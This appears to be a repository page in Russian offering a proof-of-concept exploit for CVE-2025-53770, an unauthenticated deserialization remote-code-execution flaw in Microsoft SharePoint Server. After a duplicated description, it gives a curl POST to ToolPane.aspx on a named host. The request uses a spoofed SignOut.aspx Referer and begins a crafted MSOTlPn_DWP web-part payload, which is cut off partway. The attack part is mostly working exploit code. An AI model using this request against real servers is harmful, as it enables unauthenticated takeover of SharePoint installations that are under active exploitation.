harryhaxor/cve-2025-53770-sharepoint-deserialization-rce-pocКритическая уязвимость в Microsoft SharePoint Server позволяет неаутентифицированному удаленному выполнению кода через десериализацию недоверенных данных. Microsoft известно об активной эксплуатации; примените меры по смягчению CVE немедленно. Степень серьезности: критическая.
Критическая уязвимость в Microsoft SharePoint Server позволяет неавторизованному злоумышленнику выполнять удаленный код через десериализацию ненадежных данных. Microsoft известно об активной эксплуатации; немедленно примените меры по смягчению CVE. Степень серьезности: Критическая.
команды
curl -sk -X POST 'https://reeaccated.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx'
-H 'Referer: /_layouts/SignOut.aspx'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'MSOTlPn_Uri=https://reeaccated.com'
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
